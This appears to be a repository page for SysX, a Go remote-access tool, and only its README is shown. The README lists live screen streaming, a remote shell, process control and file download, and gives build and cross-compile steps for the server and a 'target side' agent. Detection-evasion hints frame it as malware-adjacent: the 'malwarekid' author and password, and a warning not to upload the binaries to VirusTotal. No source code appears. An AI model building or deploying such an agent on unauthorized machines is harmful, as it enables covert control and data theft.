← back to reliquary

SysX

4 files

README

SysX - Access. Execute. Monitor.

Overview

SysX is a lightweight Remote Monitoring & Management (RMM) tool for internal networks.
It allows administrators to view remote screens, execute commands, browse files, and manage processes through a clean web-based dashboard.

Important Notice:
This project is for educational and internal demo purposes only.
Unauthorized use against systems you don’t own or manage is strictly prohibited.
Do not upload the binaries to VirusTotal or public sandboxes.


Features

  • Live Screen Streaming – Real-time desktop view directly in the browser.
  • Remote Shell – Execute system commands (Linux: sh, Windows: cmd) with results streamed back.
  • Process Management – List, refresh, and terminate processes remotely.
  • File Browser – Explore directories, navigate drives, and securely download files.
  • Authentication – Lightweight username/password login system.
  • Web Dashboard – Professional interface, accessible from the index page.

Download from Release - SysX


Demo

https://github.com/user-attachments/assets/618a9659-255d-4694-8cc3-8e9f1f4e0dd1


Getting Started

Build the Server (Operator Side)

go build -ldflags="-w -s" -o sysx server.go
````

Run the server:

```bash
./sysx

Build the Client (Target Side)

Build the agent binary:

go build -ldflags="-w -s" -o agent client.go

Run the client on the target system:

./agent

The client will automatically connect to the server and start streaming.


Access the Dashboard

Open your browser and go to:

http://localhost:8080

Default credentials:

  • Username: admin
  • Password: malwarekid

Cross-Compiling

You can build binaries for multiple platforms:

Linux (from any OS):

GOOS=linux GOARCH=amd64 go build -o agent-linux client.go

Windows (from Linux/macOS):

$env:GOOS="windows"; $env:GOARCH="amd64"; go build -o agent.exe client.go

macOS: (Not Tested)

GOOS=darwin GOARCH=amd64 go build -o agent-macos client.go

Requirements

  • Server: Go 1.20+
  • Clients:

  • Linux (X11 required for screen capture)

  • Windows (tested on Windows 10/11)

Networking:

  • Ensure port 8080 is open and accessible (configure firewall rules if necessary).

Project Structure

SysX - Access. Execute. Monitor.

├── client.go        # Agent (runs on remote system)
├── server.go        # Central server with web dashboard
├── templates/       # HTML templates for UI
│   ├── index.html
│   ├── login.html
│   ├── viewer.html
│   ├── shell.html
│   ├── processes.html
│   └── files.html
├── go.mod           # Go module definition
└── go.sum           # Dependency checksums


License

Released under the MIT License.
See the LICENSE file.


Credits

Developed by Malwarekid

Follow:


Disclaimer

This tool is intended strictly for authorized use in internal environments.
The author assumes no liability for misuse or damages caused by this software.

source code

viewer

select a file
// click a file to view source

license

MIT License Copyright (c) 2026 ek0mssavi0r / Church of Malware Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. USE AT YOUR OWN RISK. NO WARRANTY PROVIDED.
download .zip // inspect all source before execution